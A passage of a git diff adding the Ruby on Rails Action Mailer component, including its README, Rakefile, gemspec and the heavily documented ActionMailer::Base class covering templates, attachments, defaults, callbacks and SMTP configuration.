+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
new file mode 100644
index 0000000..4d78d61
--- /dev/null
+++ b/actionmailer/README.rdoc
@@ -0,0 +1,165 @@
+= Action Mailer -- Easy email delivery and testing
+
+Action Mailer is a framework for designing email service layers. These layers
+are used to consolidate code for sending out forgotten passwords, welcome
+wishes on signup, invoices for billing, and any other use case that requires
+a written notification to either a person or another system.
+
+Action Mailer is in essence a wrapper around Action Controller and the
+Mail gem. It provides a way to make emails using templates in the same
+way that Action Controller renders views using templates.
+
+Additionally, an Action Mailer class can be used to process incoming email,
+such as allowing a blog to accept new posts from an email (which could even
+have been sent from a phone).
+
+== Sending emails
+
+The framework works by initializing any instance variables you want to be
+available in the email template, followed by a call to +mail+ to deliver
+the email.
+
+This can be as simple as:
+
+ class Notifier < ActionMailer::Base
+ default from: 'system at loudthinking.com'
+
+ def welcome(recipient)
+ @recipient = recipient
+ mail(to: recipient,
+ subject: "[Signed up] Welcome #{recipient}")
+ end
+ end
+
+The body of the email is created by using an Action View template (regular
+ERB) that has the instance variables that are declared in the mailer action.
+
+So the corresponding body template for the method above could look like this:
+
+ Hello there,
+
+ Mr. <%= @recipient %>
+
+ Thank you for signing up!
+
+If the recipient was given as "david at loudthinking.com", the email
+generated would look like this:
+
+ Date: Mon, 25 Jan 2010 22:48:09 +1100
+ From: system at loudthinking.com
+ To: david at loudthinking.com
+ Message-ID: <4b5d84f9dd6a5_7380800b81ac29578 at void.loudthinking.com.mail>
+ Subject: [Signed up] Welcome david at loudthinking.com
+ Mime-Version: 1.0
+ Content-Type: text/plain;
+ charset="US-ASCII";
+ Content-Transfer-Encoding: 7bit
+
+ Hello there,
+
+ Mr. david at loudthinking.com
+
+ Thank you for signing up!
+
+In previous version of Rails you would call <tt>create_method_name</tt> and
+<tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface - you
+simply call the method and optionally call +deliver+ on the return value.
+
+Calling the method returns a Mail Message object:
+
+ message = Notifier.welcome # => Returns a Mail::Message object
+ message.deliver # => delivers the email
+
+Or you can just chain the methods together like:
+
+ Notifier.welcome.deliver # Creates the email and sends it immediately
+
+== Setting defaults
+
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't [...]
+
+Note that every value you set with this method will get overwritten if you use the same key in your mailer method.
+
+Example:
+
+ class AuthenticationMailer < ActionMailer::Base
+ default from: "awesome at application.com", subject: Proc.new { "E-mail was generated at #{Time.now}" }
+ .....
+ end
+
+== Receiving emails
+
+To receive emails, you need to implement a public instance method called <tt>receive</tt> that takes an
+email object as its single parameter. The Action Mailer framework has a corresponding class method,
+which is also called <tt>receive</tt>, that accepts a raw, unprocessed email as a string, which it then turns
+into the email object and calls the receive instance method.
+
+Example:
+
+ class Mailman < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by(address: email.to.first)
+ page.emails.create(
+ subject: email.subject, body: email.body
+ )
+
+ if email.has_attachments?
+ email.attachments.each do |attachment|
+ page.attachments.create({
+ file: attachment, description: email.subject
+ })
+ end
+ end
+ end
+ end
+
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the
+trivial case like this:
+
+ rails runner 'Mailman.receive(STDIN.read)'
+
+However, invoking Rails in the runner for each mail to be received is very resource intensive. A single
+instance of Rails should be run within a daemon, if it is going to be utilized to process more than just
+a limited number of email.
+
+== Configuration
+
+The Base class has the full list of configuration options. Here's an example:
+
+ ActionMailer::Base.smtp_settings = {
+ address: 'smtp.yourserver.com', # default: localhost
+ port: '25', # default: 25
+ user_name: 'user',
+ password: 'pass',
+ authentication: :plain # :plain, :login or :cram_md5
+ }
+
+
+== Download and installation
+
+The latest version of Action Mailer can be installed with RubyGems:
+
+ % [sudo] gem install actionmailer
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionmailer
+
+
+== License
+
+Action Mailer is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
new file mode 100644
index 0000000..45c238d
--- /dev/null
+++ b/actionmailer/Rakefile
@@ -0,0 +1,36 @@
+require 'rake/testtask'
+require 'rake/packagetask'
+require 'rubygems/package_task'
+
+desc "Default Task"
+task default: [ :test ]
+
+# Run the unit tests
+Rake::TestTask.new { |t|
+ t.libs << "test"
+ t.pattern = 'test/**/*_test.rb'
+ t.warning = true
+ t.verbose = true
+}
+
+namespace :test do
+ task :isolated do
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+ Dir.glob("test/**/*_test.rb").all? do |file|
+ sh(ruby, '-Ilib:test', file)
+ end or raise "Failures"
+ end
+end
+
+spec = eval(File.read('actionmailer.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc "Release to gemcutter"
+task release: :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
new file mode 100644
index 0000000..67ec0d1
--- /dev/null
+++ b/actionmailer/actionmailer.gemspec
@@ -0,0 +1,25 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'actionmailer'
+ s.version = version
+ s.summary = 'Email composition, delivery, and receiving framework (part of Rails).'
+ s.description = 'Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+ s.require_path = 'lib'
+ s.requirements << 'none'
+
+ s.add_dependency 'actionpack', version
+
+ s.add_dependency 'mail', '~> 2.5.3'
+end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
new file mode 100644
index 0000000..c45124b
--- /dev/null
+++ b/actionmailer/lib/action_mailer.rb
@@ -0,0 +1,47 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'abstract_controller'
+require 'action_view'
+require 'action_mailer/version'
+
+# Common Active Support usage in Action Mailer
+require 'active_support/rails'
+require 'active_support/core_ext/class'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/lazy_load_hooks'
+
+module ActionMailer
+ extend ::ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Collector
+ end
+
+ autoload :Base
+ autoload :DeliveryMethods
+ autoload :MailHelper
+ autoload :TestCase
+ autoload :TestHelper
+end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
new file mode 100644
index 0000000..ff74185
--- /dev/null
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -0,0 +1,794 @@
+require 'mail'
+require 'action_mailer/collector'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/module/anonymous'
+require 'action_mailer/log_subscriber'
+
+module ActionMailer
+ # Action Mailer allows you to send email from your application using a mailer model and views.
+ #
+ # = Mailer Models
+ #
+ # To use Action Mailer, you need to create a mailer model.
+ #
+ # $ rails generate mailer Notifier
+ #
+ # The generated model inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+ # used to generate an email message. In these methods, you can setup variables to be used in
+ # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
+ #
+ # class Notifier < ActionMailer::Base
+ # default from: 'no-reply at example.com',
+ # return_path: 'system at example.com'
+ #
+ # def welcome(recipient)
+ # @account = recipient
+ # mail(to: recipient.email_address_with_name,
+ # bcc: ["bcc at example.com", "Order Watcher <watcher at example.com>"])
+ # end
+ # end
+ #
+ # Within the mailer method, you have access to the following methods:
+ #
+ # * <tt>attachments[]=</tt> - Allows you to add attachments to your email in an intuitive
+ # manner; <tt>attachments['filename.png'] = File.read('path/to/filename.png')</tt>
+ #
+ # * <tt>attachments.inline[]=</tt> - Allows you to add an inline attachment to your email
+ # in the same manner as <tt>attachments[]=</tt>
+ #
+ # * <tt>headers[]=</tt> - Allows you to specify any header field in your email such
+ # as <tt>headers['X-No-Spam'] = 'True'</tt>. Note, while most fields like <tt>To:</tt>
+ # <tt>From:</tt> can only appear once in an email header, other fields like <tt>X-Anything</tt>
+ # can appear multiple times. If you want to change a field that can appear multiple times,
+ # you need to set it to nil first so that Mail knows you are replacing it and not adding
+ # another field of the same name.
+ #
+ # * <tt>headers(hash)</tt> - Allows you to specify multiple headers in your email such
+ # as <tt>headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234 at message.id'})</tt>
+ #
+ # * <tt>mail</tt> - Allows you to specify email to be sent.
+ #
+ # The hash passed to the mail method allows you to specify any header that a Mail::Message
+ # will accept (any valid Email header including optional fields).
+ #
+ # The mail method, if not passed a block, will inspect your views and send all the views with
+ # the same name as the method, so the above action would send the +welcome.text.erb+ view
+ # file as well as the +welcome.text.html.erb+ view file in a +multipart/alternative+ email.
+ #
+ # If you want to explicitly render only certain templates, pass a block:
+ #
+ # mail(to: user.email) do |format|
+ # format.text
+ # format.html
+ # end
+ #
+ # The block syntax is also useful in providing information specific to a part:
+ #
+ # mail(to: user.email) do |format|
+ # format.text(content_transfer_encoding: "base64")
+ # format.html
+ # end
+ #
+ # Or even to render a special view:
+ #
+ # mail(to: user.email) do |format|
+ # format.text
+ # format.html { render "some_other_template" }
+ # end
+ #
+ # = Mailer views
+ #
+ # Like Action Controller, each mailer class has a corresponding view directory in which each
+ # method of the class looks for a template with its name.
+ #
+ # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same
+ # name as the method in your mailer model. For example, in the mailer defined above, the template at
+ # <tt>app/views/notifier/welcome.text.erb</tt> would be used to generate the email.
+ #
+ # Variables defined in the model are accessible as instance variables in the view.
+ #
+ # Emails by default are sent in plain text, so a sample view for our model example might look like this:
+ #
+ # Hi <%= @account.name %>,
+ # Thanks for joining our service! Please check back often.
+ #
+ # You can even use Action Pack helpers in these views. For example:
+ #
+ # You got a new note!
+ # <%= truncate(@note.body, length: 25) %>
+ #
+ # If you need to access the subject, from or the recipients in the view, you can do that through message object:
+ #
+ # You got a new note from <%= message.from %>!
+ # <%= truncate(@note.body, length: 25) %>
+ #
+ #
+ # = Generating URLs
+ #
+ # URLs can be generated in mailer views using <tt>url_for</tt> or named routes. Unlike controllers from
+ # Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need
+ # to provide all of the details needed to generate a URL.
+ #
+ # When using <tt>url_for</tt> you'll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:
+ #
+ # <%= url_for(host: "example.com", controller: "welcome", action: "greeting") %>
+ #
+ # When using named routes you only need to supply the <tt>:host</tt>:
+ #
+ # <%= users_url(host: "example.com") %>
+ #
+ # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the
+ # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will
+ # have no concept of a current URL from which to determine a relative path.
+ #
+ # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt>
+ # option as a configuration option in <tt>config/application.rb</tt>:
+ #
+ # config.action_mailer.default_url_options = { host: "example.com" }
+ #
+ # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the
+ # <tt>only_path: false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper
+ # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing
+ # <tt>only_path: false</tt> will ensure that absolute URLs are generated.
+ #
+ # = Sending mail
+ #
+ # Once a mailer action and template are defined, you can deliver your message or create it and save it
+ # for delivery later:
+ #
+ # Notifier.welcome(david).deliver # sends the email
+ # mail = Notifier.welcome(david) # => a Mail::Message object
+ # mail.deliver # sends the email
+ #
+ # You never instantiate your mailer class. Rather, you just call the method you defined on the class itself.
+ #
+ # = Multipart Emails
+ #
+ # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use
+ # multipart templates, where each template is named after the name of the action, followed by the content
+ # type. Each such detected template will be added as a separate part to the message.
+ #
+ # For example, if the following templates exist:
+ # * signup_notification.text.erb
+ # * signup_notification.text.html.erb
+ # * signup_notification.text.xml.builder
+ # * signup_notification.text.yaml.erb
+ #
+ # Each would be rendered and added as a separate part to the message, with the corresponding content
+ # type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
+ # which indicates that the email contains multiple different representations of the same email
+ # body. The same instance variables defined in the action are passed to all email templates.
+ #
+ # Implicit template rendering is not performed if any attachments or parts have been added to the email.
+ # This means that you'll have to manually add each part to the email and set the content type of the email
+ # to <tt>multipart/alternative</tt>.
+ #
+ # = Attachments
+ #
+ # Sending attachment in emails is easy:
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+ # mail(to: recipient, subject: "New account information")
+ # end
+ # end
+ #
+ # Which will (if it had both a <tt>welcome.text.erb</tt> and <tt>welcome.text.html.erb</tt>
+ # template in the view directory), send a complete <tt>multipart/mixed</tt> email with two parts,
+ # the first part being a <tt>multipart/alternative</tt> with the text and HTML email parts inside,
+ # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
+ # with the filename +free_book.pdf+.
+ #
+ # If you need to send attachments with no content, you need to create an empty view for it,
+ # or add an empty body parameter like this:
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+ # mail(to: recipient, subject: "New account information", body: "")
+ # end
+ # end
+ #
+ # = Inline Attachments
+ #
+ # You can also specify that a file should be displayed inline with other HTML. This is useful
+ # if you want to display a corporate logo or a photo.
+ #
+ # class ApplicationMailer < ActionMailer::Base
+ # def welcome(recipient)
+ # attachments.inline['photo.png'] = File.read('path/to/photo.png')
+ # mail(to: recipient, subject: "Here is what we look like")
+ # end
+ # end
+ #
+ # And then to reference the image in the view, you create a <tt>welcome.html.erb</tt> file and
+ # make a call to +image_tag+ passing in the attachment you want to display and then call
+ # +url+ on the attachment to get the relative content id path for the image source:
+ #
+ # <h1>Please Don't Cringe</h1>
+ #
+ # <%= image_tag attachments['photo.png'].url -%>
+ #
+ # As we are using Action View's +image_tag+ method, you can pass in any other options you want:
+ #
+ # <h1>Please Don't Cringe</h1>
+ #
+ # <%= image_tag attachments['photo.png'].url, alt: 'Our Photo', class: 'photo' -%>
+ #
+ # = Observing and Intercepting Mails
+ #
+ # Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to
+ # register classes that are called during the mail delivery life cycle.
+ #
+ # An observer class must implement the <tt>:delivered_email(message)</tt> method which will be
+ # called once for every email sent after the email has been sent.
+ #
+ # An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
+ # called before the email is sent, allowing you to make modifications to the email before it hits
+ # the delivery agents. Your class should make any needed modifications directly to the passed
+ # in Mail::Message instance.
+ #
+ # = Default Hash
+ #
+ # Action Mailer provides some intelligent defaults for your emails, these are usually specified in a
+ # default method inside the class definition:
+ #
+ # class Notifier < ActionMailer::Base
+ # default sender: 'system at example.com'
+ # end
+ #
+ # You can pass in any header value that a <tt>Mail::Message</tt> accepts. Out of the box,
+ # <tt>ActionMailer::Base</tt> sets the following:
+ #
+ # * <tt>mime_version: "1.0"</tt>
+ # * <tt>charset: "UTF-8",</tt>
+ # * <tt>content_type: "text/plain",</tt>
+ # * <tt>parts_order: [ "text/plain", "text/enriched", "text/html" ]</tt>
+ #
+ # <tt>parts_order</tt> and <tt>charset</tt> are not actually valid <tt>Mail::Message</tt> header fields,
+ # but Action Mailer translates them appropriately and sets the correct values.
+ #
+ # As you can pass in any header, you need to either quote the header as a string, or pass it in as
+ # an underscored symbol, so the following will work:
+ #
+ # class Notifier < ActionMailer::Base
+ # default 'Content-Transfer-Encoding' => '7bit',
+ # content_description: 'This is a description'
+ # end
+ #
+ # Finally, Action Mailer also supports passing <tt>Proc</tt> objects into the default hash, so you
+ # can define methods that evaluate as the message is being generated:
+ #
+ # class Notifier < ActionMailer::Base
+ # default 'X-Special-Header' => Proc.new { my_method }
+ #
+ # private
+ #
+ # def my_method
+ # 'some complex call'
+ # end
+ # end
+ #
+ # Note that the proc is evaluated right at the start of the mail message generation, so if you
+ # set something in the defaults using a proc, and then set the same thing inside of your
+ # mailer method, it will get over written by the mailer method.
+ #
+ # It is also possible to set these default options that will be used in all mailers through
+ # the <tt>default_options=</tt> configuration in <tt>config/application.rb</tt>:
+ #
+ # config.action_mailer.default_options = { from: "no-reply at example.org" }
+ #
+ # = Callbacks
+ #
+ # You can specify callbacks using before_action and after_action for configuring your messages.
+ # This may be useful, for example, when you want to add default inline attachments for all
+ # messages sent out by a certain mailer class:
+ #
+ # class Notifier < ActionMailer::Base
+ # before_action :add_inline_attachment!
+ #
+ # def welcome
+ # mail
+ # end
+ #
+ # private
+ #
+ # def add_inline_attachment!
+ # attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
+ # end
+ # end
+ #
+ # Callbacks in ActionMailer are implemented using AbstractController::Callbacks, so you
+ # can define and configure callbacks in the same manner that you would use callbacks in
+ # classes that inherit from ActionController::Base.
+ #
+ # Note that unless you have a specific reason to do so, you should prefer using before_action
+ # rather than after_action in your ActionMailer classes so that headers are parsed properly.
+ #
+ # = Configuration options
+ #
+ # These options are specified on the class level, like
+ # <tt>ActionMailer::Base.raise_delivery_errors = true</tt>
+ #
+ # * <tt>default_options</tt> - You can pass this in at a class level as well as within the class itself as
+ # per the above section.
+ #
+ # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
+ # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ #
+ # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
+ # * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
+ # "localhost" setting.
+ # * <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
+ # * <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
+ # * <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
+ # * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
+ # * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the
+ # authentication type here.
+ # This is a symbol and one of <tt>:plain</tt> (will send the password in the clear), <tt>:login</tt> (will
+ # send password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
+ # information and a cryptographic Message Digest 5 algorithm to hash important information)
+ # * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server
+ # and starts to use it.
+ # * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
+ # really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
+ # of an OpenSSL verify constant ('none', 'peer', 'client_once','fail_if_no_peer_cert') or directly the
+ # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER,...).
+ #
+ # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
+ # * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
+ # * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt> with <tt>-f sender at address</tt>
+ # added automatically before the message is sent.
+ #
+ # * <tt>file_settings</tt> - Allows you to override options for the <tt>:file</tt> delivery method.
+ # * <tt>:location</tt> - The directory into which emails will be written. Defaults to the application
+ # <tt>tmp/mails</tt>.
+ #
+ # * <tt>raise_delivery_errors</tt> - Whether or not errors should be raised if the email fails to be delivered.
+ #
+ # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
+ # <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
+ # object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+ # implement for a custom delivery agent.
+ #
+ # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
+ # call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can
+ # be turned off to aid in functional testing.
+ #
+ # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
+ # <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
+ class Base < AbstractController::Base
+ include DeliveryMethods
+ abstract!
+
+ include AbstractController::Logger
+ include AbstractController::Rendering
+ include AbstractController::Layouts
+ include AbstractController::Helpers
+ include AbstractController::Translation
+ include AbstractController::AssetPaths
+ include AbstractController::Callbacks
+
+ self.protected_instance_variables = [:@_action_has_layout]
+
+ helper ActionMailer::MailHelper
+
+ private_class_method :new #:nodoc:
+
+ class_attribute :default_params
+ self.default_params = {
+ mime_version: "1.0",
+ charset: "UTF-8",
+ content_type: "text/plain",
+ parts_order: [ "text/plain", "text/enriched", "text/html" ]
+ }.freeze
+
+ class << self
+ # Register one or more Observers which will be notified when mail is delivered.
+ def register_observers(*observers)
+ observers.flatten.compact.each { |observer| register_observer(observer) }
+ end
+
+ # Register one or more Interceptors which will be called before mail is sent.
+ def register_interceptors(*interceptors)
+ interceptors.flatten.compact.each { |interceptor| register_interceptor(interceptor) }
+ end
+
+ # Register an Observer which will be notified when mail is delivered.
+ # Either a class or a string can be passed in as the Observer. If a string is passed in
+ # it will be <tt>constantize</tt>d.
+ def register_observer(observer)
+ delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
+ Mail.register_observer(delivery_observer)
+ end
+
+ # Register an Interceptor which will be called before mail is sent.
+ # Either a class or a string can be passed in as the Interceptor. If a string is passed in
+ # it will be <tt>constantize</tt>d.
+ def register_interceptor(interceptor)
+ delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor)
+ Mail.register_interceptor(delivery_interceptor)
+ end
+
+ def mailer_name
+ @mailer_name ||= anonymous? ? "anonymous" : name.underscore
+ end
+ attr_writer :mailer_name
+ alias :controller_path :mailer_name
+
+ def default(value = nil)
+ self.default_params = default_params.merge(value).freeze if value
+ default_params
+ end
+ # Allows to set defaults through app configuration:
+ #
+ # config.action_mailer.default_options = { from: "no-reply at example.org" }
+ alias :default_options= :default
+
+ # Receives a raw email, parses it into an email object, decodes it,
+ # instantiates a new mailer, and passes the email object to the mailer
+ # object's +receive+ method. If you want your mailer to be able to
+ # process incoming messages, you'll need to implement a +receive+
+ # method that accepts the raw email string as a parameter:
+ #
+ # class MyMailer < ActionMailer::Base
+ # def receive(mail)
+ # ...
+ # end
+ # end
+ def receive(raw_mail)
+ ActiveSupport::Notifications.instrument("receive.action_mailer") do |payload|
+ mail = Mail.new(raw_mail)
+ set_payload_for_mail(payload, mail)
+ new.receive(mail)
+ end
+ end
+
+ # Wraps an email delivery inside of Active Support Notifications instrumentation. This
+ # method is actually called by the <tt>Mail::Message</tt> object itself through a callback
+ # when you call <tt>:deliver</tt> on the Mail::Message, calling +deliver_mail+ directly
+ # and passing a Mail::Message will do nothing except tell the logger you sent the email.
+ def deliver_mail(mail) #:nodoc:
+ ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
+ set_payload_for_mail(payload, mail)
+ yield # Let Mail do the delivery actions
+ end
+ end
+
+ def respond_to?(method, include_private = false) #:nodoc:
+ super || action_methods.include?(method.to_s)
+ end
+
+ protected
+
+ def set_payload_for_mail(payload, mail) #:nodoc:
+ payload[:mailer] = name
+ payload[:message_id] = mail.message_id
+ payload[:subject] = mail.subject
+ payload[:to] = mail.to
+ payload[:from] = mail.from
+ payload[:bcc] = mail.bcc if mail.bcc.present?
+ payload[:cc] = mail.cc if mail.cc.present?
+ payload[:date] = mail.date
+ payload[:mail] = mail.encoded
+ end
+
+ def method_missing(method_name, *args)
+ if respond_to?(method_name)
+ new(method_name, *args).message
+ else
+ super
+ end
+ end
+ end
+
+ attr_internal :message
+
+ # Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
+ # will be initialized according to the named method. If not, the mailer will
+ # remain uninitialized (useful when you only need to invoke the "receive"
+ # method, for instance).
+ def initialize(method_name=nil, *args)
+ super()
+ @_mail_was_called = false
+ @_message = Mail.new
+ process(method_name, *args) if method_name
+ end
+
+ def process(*args) #:nodoc:
+ lookup_context.skip_default_locale!
+
+ super
+ @_message = NullMail.new unless @_mail_was_called
+ end
+
+ class NullMail #:nodoc:
+ def body; '' end
+
+ def method_missing(*args)
+ nil
+ end
+ end
+
+ def mailer_name
+ self.class.mailer_name
+ end
+
+ # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt> object
+ # which will add them to itself.
+ #
+ # headers['X-Special-Domain-Specific-Header'] = "SecretValue"
+ #
+ # You can also pass a hash into headers of header field names and values, which
+ # will then be set on the Mail::Message object:
+ #
+ # headers 'X-Special-Domain-Specific-Header' => "SecretValue",
+ # 'In-Reply-To' => incoming.message_id
+ #
+ # The resulting Mail::Message will have the following in its header:
+ #
+ # X-Special-Domain-Specific-Header: SecretValue
+ def headers(args = nil)
+ if args
+ @_message.headers(args)
+ else
+ @_message
+ end
+ end
+
+ # Allows you to add attachments to an email, like so:
+ #
+ # mail.attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+ #
+ # If you do this, then Mail will take the file name and work out the mime type
+ # set the Content-Type, Content-Disposition, Content-Transfer-Encoding and
+ # base64 encode the contents of the attachment all for you.
+ #
+ # You can also specify overrides if you want by passing a hash instead of a string:
+ #
+ # mail.attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+ # content: File.read('/path/to/filename.jpg')}
+ #
+ # If you want to use a different encoding than Base64, you can pass an encoding in,
+ # but then it is up to you to pass in the content pre-encoded, and don't expect
+ # Mail to know how to decode this data:
+ #
+ # file_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+ # mail.attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+ # encoding: 'SpecialEncoding',
+ # content: file_content }
+ #
+ # You can also search for specific attachments:
+ #
+ # # By Filename
+ # mail.attachments['filename.jpg'] # => Mail::Part object or nil
+ #
+ # # or by index
+ # mail.attachments[0] # => Mail::Part (first attachment)
+ #
+ def attachments
+ @_message.attachments
+ end
+
+ # The main method that creates the message and renders the email templates. There are
+ # two ways to call this method, with a block, or without a block.
+ #
+ # Both methods accept a headers hash. This hash allows you to specify the most used headers
+ # in an email message, these are:
+ #
+ # * <tt>:subject</tt> - The subject of the message, if this is omitted, Action Mailer will
+ # ask the Rails I18n class for a translated <tt>:subject</tt> in the scope of
+ # <tt>[mailer_scope, action_name]</tt> or if this is missing, will translate the
+ # humanized version of the <tt>action_name</tt>
+ # * <tt>:to</tt> - Who the message is destined for, can be a string of addresses, or an array
+ # of addresses.
+ # * <tt>:from</tt> - Who the message is from
+ # * <tt>:cc</tt> - Who you would like to Carbon-Copy on this email, can be a string of addresses,
+ # or an array of addresses.
+ # * <tt>:bcc</tt> - Who you would like to Blind-Carbon-Copy on this email, can be a string of
+ # addresses, or an array of addresses.
+ # * <tt>:reply_to</tt> - Who to set the Reply-To header of the email to.
+ # * <tt>:date</tt> - The date to say the email was sent on.
+ #
+ # You can set default values for any of the above headers (except :date) by using the <tt>default</tt>
+ # class method:
+ #
+ # class Notifier < ActionMailer::Base
+ # self.default from: 'no-reply at test.lindsaar.net',
+ # bcc: 'email_logger at test.lindsaar.net',
+ # reply_to: 'bounces at test.lindsaar.net'
+ # end
+ #
+ # If you need other headers not listed above, you can either pass them in
+ # as part of the headers hash or use the <tt>headers['name'] = value</tt>
+ # method.
+ #
